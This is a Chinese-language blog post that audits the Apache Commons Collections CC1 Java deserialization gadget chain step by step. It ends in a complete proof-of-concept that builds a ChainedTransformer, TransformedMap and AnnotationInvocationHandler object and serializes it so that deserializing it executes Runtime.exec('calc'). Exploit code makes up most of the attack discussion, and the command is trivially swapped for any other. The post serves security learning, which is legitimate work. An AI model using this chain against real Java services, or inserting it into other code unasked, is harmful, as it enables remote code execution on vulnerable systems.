Java反序列化 - CC1链 (代码审计)
R### 一、环境准备:
Java环境:Java_1.8.0_8u65
Apache Commons Collections 3.2.2版本
二、漏洞简述:
cc链是Apache commons collections反序列漏洞利用链的简称。可以通过构造恶意类,利用Java反序列化漏洞进行RCE。
漏洞复现:
CC1链源头:org.apache.commons.collections.Transformer#transform 中的 Transformer接口。
1、触发RCE的利用点:
(1) 查看哪些类实现了 Transformer接口,跟进 InvokerTransformer类:
InvokerTransformer类中实现并重写了 transform()方法:
其中 iMethodName,iParamTypes,iArgs三个参数可以通过 类InvokerTransformer公有构造函数来进行控制:
由此可以构造出一条RCE的链子:
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokeTransformerRCE {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
}
}
// Class cls = input.getClass() --> Runtime.getRuntime().getClass() --> cls表示Runtime类的一个对象
//获取Runtime类中的exec方法
// Method method = cls.getMethod(this.iMethodName, this.iParamTypes) --> cls.getMethod("exec", new Class[]{String.class})
//进行命令执行
//exec.invoke(Runtime.getRuntime(), "calc") --> Runtime.getRuntime().exec("calc");
2、利用链:
(一) 跟进 transform()方法,查看其在哪些地方被调用,其中 transformedMap类中的checkValue()方法调用了transform():
分析 checkValue()方法,可以看到结果返回 valueTransformer的transform方法,向上查找 valueTransformer是否可控。通过查找得知 valueTransformer 在 TransformedMap方法中被赋值:
但是 TransformedMap方法的属性为 protected,这导致该方法只有内部类可以进行访问调用,继续向上查找,可以看到在decorate()方法中调用了该方法,并且属性为public,valueTransformer值可控:
由此形成了一条利用链:
decorate(map, null, invokeTransformer)方法 --> TransformedMap()方法 --> valueTransformer = invokeTransformer -> checkSetValue()方法 --> invokeTransformer.transform(value)
(二) 但是 checkSetValue(Object Value)方法的属性为 protected,这也代表着 checkSetValue只能被内部类访问调用,这就需要查找 checkSetValue()方法在哪些地方被调用:
IDEA提示 字类TransformedMap 中的 checkSetValue()方法实现了 父类AbstractInputCheckedMapDecorator 中的方法,跟进,发现 TransformedMap 中的 checkSetValue()方法 实现了父类中的 checkSetValue()抽象方法:
并且 父类AbstractInputCheckedMapDecorator中的 副类MapEntry中的 公有属性的setValue()方法调用了checkSetValue()方法:
副类MapEntry中的 setValue()方法重写了 AbstractMapEntryDecorator中的 checkSetValue()方法:
类AbstractMapEntryDecorator中的 setValue方法实现了 接口Map.Entry中的 setValue方法:
由此形成了一条利用链:
进行Map键值对遍历 --> 调用 setValue()方法 --> 由 setValue()方法来调用checkValue()方法
由此可以进行命令执行:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class TransformedMapRCE {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
//赋值-->valueTransformer = invokerTransformer
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
//遍历Map常用格式
for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(r);
}
}
}
(三) 由上述分析已经得知遍历Map->entry.setValue()会造成RCE,则查找哪些地方调用了 setValue()方法,并控制参数值即可,跟进 AnnotationInvocationHandle类:
来到漏洞产生的位置,AnnotationInvocationHandler类中重写了 readObject()方法,并且进行了Map遍历并使用了 memberValue.setValue()方法,那么只需要 memberValues可控即可:
跟进 memberValues,可知 memberValues在类AnnotationInvocationHandler的构造函数中被赋值,但是AnnotationInvocationHandler的构造方法没有声明public等属性,所以该构造方法的属性为default,只能在本包(sun.reflect.annotation)中被调用,所以利用Java反射机制来调用该构造方法并进行赋值:
利用Java反射机制调用其构造方法:
//获取AnnotationInvocationHandler类
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取AnnotationInvocationHandler类的构造方法
Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
//提升权限
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化对象,并给 memberValues赋值,使其可控
Object object = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
并且类AnnotationInvocationHandler 实现了Serializable接口,可以直接进行序列化与反序列化,所以可以先序列化其实例对象,然后进行反序列化,通过利用类AnnotationInvocationHandler重写的 readObject()方法实现RCE。
故初步完整的利用链POC代码如下所示:
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value"); //给map一个键值对,方便遍历
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// 相当于提升自己权限,以便可以访问非公共构造函数
constructor.setAccessible(true);
//这里第一个是参数是注解的类原型,第二个就是我们之前的类
// 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例
// 传递Override.class和decorate两个参数给构造函数
Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o); //序列化
unserialize("CC1.txt"); //反序列化
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
(四) 但是这段POC并不是完整的正确的POC,因为有三个利用条件上述POC并未满足:
(1) Runtime类并未实现Serializable接口,不可以被序列化:
但是Runtime的原型类实现了 Serializable接口,可以利用Java反射来调用 Runtime:
//获取 getRuntime()方法
//其中 Runtime.class -> java.lang.Runtime,Runtime.class.getClass() -> java.lang.Class
//最终调用为 java.lang.Class.getMethod("getDeclaredMethod", new Class[]{String.class, Class[].class}).invoke(Runtime.class, "getRuntime") --> Runtime.class.getDeclaredMethod("getRuntime", null) --> Runtime.getRuntime()
Method getRuntime = (Method) new InvokerTransformer("getDeclared", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//获取 Runtime实例
Runtime runtime = (Runtime) new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//执行命令RCE
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}).transform(runtime);
但是上述写法略显冗余,可以通过调用 ChainedTransformer类中方法来实现简化。ChainedTransformer类实现了Transformer, Serializable两接口,符合条件:
类中构造函数 ChainedTransformer(Transformer[] transformers)接受一个数组作为参数,然后重写 transform()方法对数组使用 for循环来实现逻辑:
利用 ChainedTransformer类来简化 Java反射Runtime的代码:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer(
"getDeclaredMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(runtimeClass);
(2) 符合类AnnotationInvocationHandler重写的 readObject()方法中执行memberValue.setValue()前的两个if条件语句:
在 readObject()方法处下断点,发现未通过第一个 if条件的限制,原因为 memberType为空:
annotationType = AnnotationType.getInstance(type); 中的 type由构造函数传值,值为 Override.class:
annotationType = AnnotationType.getInstance(type); 获取 Override注解的实例 -->
Map<String, Class> memberTypes = annotationType.memberTypes();用于获取注解的所有成员及其类型的映射 --> Class memberType = memberTypes.get(name); 用于查看名为 name 的成员在在 memberTypes中是否存在
跟进 Override注解,可以看到注解中的成员为空,所以导致了 memberType 恒为 null,从而导致无法通过第一个 if 条件的校验:
所以不能使用成员为空的 Override注解,换用 Target注解:
修改如下:
更换后重新进行调试,此时已经可以通过两个 if 条件的校验。
(3) 虽然解决了 (1) 和 (2) 两个问题,但是依然存在关键的一步问题,就是 setValue()方法中的参数此时不是理想值,因为 readObject()方法中提前写好了 setValue()的参数值,此值用户不可控。
可以通过利用 ConstantTransformer中的构造方法与 transform方法来解决:
最终 CC1链的完整POC如下:
public static void main(String[] args) throws Exception {
Class<?> runtime = Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] Transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(object);
unserialize("CC1.txt");
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
成功RCE:
本文作者:不会下雨的晴天
本文链接:https://www.cnblogs.com/kgty/p/18487179
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步